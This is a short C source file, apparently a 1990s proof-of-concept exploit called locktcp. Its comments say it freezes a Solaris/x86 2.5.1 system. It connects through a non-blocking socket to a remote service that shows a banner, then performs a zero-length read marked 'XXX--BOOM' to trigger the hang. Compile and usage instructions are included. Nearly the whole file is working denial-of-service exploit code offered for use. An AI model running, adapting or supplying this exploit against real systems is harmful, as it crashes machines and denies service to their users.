/*
 * The folowing is rather ripped from Pine 3.95, and condensed.
 * It should easily freeze a Solaris/x86 2.5.1 system, though may have to
 * be run more than once to produce the problem.
 *
 * Compile with: [g]cc -o locktcp locktcp.c -lsocket -lnsl
 *
 * Throw this at your favorite dotted decimal IP and port of some server
 * (not on the local host) that throws up a banner message. i.e. IMAP,
 * POP3, FTP, etc.  The program doesn't seem to hang the system on
 * services that don't throw a banner (like HTTP).
 *
 * Usage: locktcp ip-addr port
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv)
{
  int i,sock,flgs;
  char *s;
  struct sockaddr_in sin;
  fd_set fds;
  char tmp[4096];
  char *host;
  long port;

  if (argc != 3)
    {
      fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]);
      return 1;
    }
  host = argv[1];
  port = atol(argv[2]);

  /**** Set up address and open socket ****/
  sin.sin_port = htons (port);
  sin.sin_addr.s_addr = inet_addr (host);
  sin.sin_family = AF_INET;	/* family is always Internet */
  if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0)
    {
      fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno));
      return 0;
    }

  /**** Set to non-blocking ****/
  flgs = fcntl (sock,F_GETFL,0);/* get current socket flags */
  fcntl (sock,F_SETFL,flgs | O_NDELAY);

  /**** Connect to host ****/
  while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 &&
         errno == EINTR);
  if (i < 0) switch (errno)
      {	/* failed? */
      case EINPROGRESS:
      case EISCONN:
      case EADDRINUSE:
        break;			/* well, not really, it was interrupted */
      default:
        fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
                 strerror (errno));
        close (sock);		/* flush socket */
        return 0;
      }

  /**** Do blocking select on nonblocking socket ****/
  FD_ZERO (&fds);		/* initialize selection vector */
  FD_SET (sock,&fds);		/* block for writeable */
  while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) &&
         (errno == EINTR));

  /**** Set back to blocking socket ****/
  if (i > 0)
    {			/* success, make sure really connected */
      fcntl (sock,F_SETFL,flgs);	/* restore blocking status */
      /* get socket status */
      while ((i = read (sock,tmp,0)) < 0 && errno == EINTR); /*** XXX--BOOM ***/
      if (!i) i = 1;		/* make success if the read is OK */
    }
  if (i <= 0)
    {			/* timeout or error? */
      fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
               strerror (i ? errno : ETIMEDOUT));
      close (sock);		/* flush socket */
    }
  return 0;
}